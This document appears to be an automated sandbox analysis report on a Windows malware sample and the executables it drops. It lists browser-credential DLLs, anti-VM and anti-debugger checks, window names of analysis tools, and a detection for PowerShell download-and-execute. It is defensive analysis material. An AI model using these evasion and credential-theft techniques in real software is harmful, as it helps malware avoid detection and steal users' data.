Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1010576001\1afc2fdbc4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

API coverage: 4.1 %

Source: C:\Users\user\Desktop\file.exe TID: 7012	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 396	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7056	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7576	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7576	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7624	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7624	Thread sleep time: -134067s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep count: 299 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep time: -8970000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep count: 75 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep time: -150075s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep time: -138069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7580	Thread sleep count: 70 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7580	Thread sleep time: -140070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7536	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe TID: 332	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe TID: 6364	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe TID: 6212	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe TID: 6196	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 8092	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 8124	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 8084	Thread sleep count: 75 > 30
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 8084	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 8084	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 932	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 8088	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe TID: 8120	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe TID: 4484	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\FCFBFHIEBK.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C59EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C59EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000C.00000002.3256198147.0000000000E61000.00000040.00000001.01000000.0000000D.sdmp, adebfeb535.exe, adebfeb535.exe, 0000000F.00000002.3256915752.00000000005F6000.00000040.00000001.01000000.0000000F.sdmp, bb0adee266.exe, 00000010.00000002.2748266305.0000000001435000.00000040.00000001.01000000.00000010.sdmp, d88d6966da.exe, 00000012.00000002.2931452912.0000000000767000.00000040.00000001.01000000.00000012.sdmp, 39c228201d.exe, 00000014.00000002.3254477017.00000000005DD000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: FCFBFHIEBK.exe, 00000009.00000003.2102051433.000000000143C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: chrome.exe, 00000013.00000002.3070046000.00000242FC89D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D: M
Source: d88d6966da.exe, 00000012.00000002.2933206757.00000000014E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWlkMd
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT
Source: d88d6966da.exe, 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2130184923.0000000000938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2130184923.0000000000925000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2130184923.0000000000954000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000C.00000002.3274355921.0000000001827000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000C.00000002.3274355921.0000000001857000.00000004.00000020.00020000.00000000.sdmp, adebfeb535.exe, 0000000F.00000002.3276967184.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2808577449.0000000000C37000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831379968.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, d88d6966da.exe, 00000012.00000002.2933206757.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000014.00000002.3276938516.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000014.00000002.3276938516.000000000149E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FCFBFHIEBK.exe, 00000009.00000003.2105668092.000000000143C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: adebfeb535.exe, 0000000F.00000002.3276967184.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000002.2130777025.0000000000F37000.00000040.00000001.01000000.00000003.sdmp, FCFBFHIEBK.exe, 00000009.00000002.2135616835.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2153545567.0000000000E61000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000000B.00000002.2166730795.0000000000E61000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000000C.00000002.3256198147.0000000000E61000.00000040.00000001.01000000.0000000D.sdmp, adebfeb535.exe, 0000000F.00000002.3256915752.00000000005F6000.00000040.00000001.01000000.0000000F.sdmp, bb0adee266.exe, 00000010.00000002.2748266305.0000000001435000.00000040.00000001.01000000.00000010.sdmp, d88d6966da.exe, 00000012.00000002.2931452912.0000000000767000.00000040.00000001.01000000.00000012.sdmp, 39c228201d.exe, 00000014.00000002.3254477017.00000000005DD000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 67d914dff5.exe, 0000000D.00000003.2526544298.0000000001B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 12_2_05670985 Start: 05670998 End: 0567099C

12_2_05670985

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\FCFBFHIEBK.exe

Code function: 9_2_0514036C rdtsc

9_2_0514036C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C66AC62

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

Code function: 15_2_00402A50 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

15_2_00402A50

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CA652B mov eax, dword ptr fs:[00000030h]	12_2_00CA652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00CAA302 mov eax, dword ptr fs:[00000030h]	12_2_00CAA302
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_04797D41 push dword ptr fs:[00000030h]	15_2_04797D41
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_04940D90 mov eax, dword ptr fs:[00000030h]	15_2_04940D90
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0494092B mov eax, dword ptr fs:[00000030h]	15_2_0494092B

Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

Code function: 15_2_00418592 GetProcessHeap,

15_2_00418592

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C66AC62
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_00409A2A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00409A2A
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0040CDE3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0040CDE3
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0040A58A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0040A58A
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0040A720 SetUnhandledExceptionFilter,	15_2_0040A720
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_04949C91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_04949C91
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0494A7F1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0494A7F1
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0494D04A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0494D04A
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Code function: 15_2_0494A987 SetUnhandledExceptionFilter,	15_2_0494A987

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d88d6966da.exe PID: 7844, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FCFBFHIEBK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FCFBFHIEBK.exe "C:\Users\user\Documents\FCFBFHIEBK.exe"	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe "C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe "C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe "C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe "C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe "C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C6B4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C591C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C591C30

Source: b081bb79ae.exe.12.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 0000000C.00000002.3256198147.0000000000E61000.00000040.00000001.01000000.0000000D.sdmp, d88d6966da.exe, 00000012.00000002.2931452912.0000000000767000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Program Manager
Source: adebfeb535.exe, adebfeb535.exe, 0000000F.00000002.3256915752.00000000005F6000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: 9,Program Manager
Source: bb0adee266.exe, 00000010.00000002.2748266305.0000000001435000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: BdProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66AE71 cpuid

0_2_6C66AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe VolumeInformation	Jump to behavior
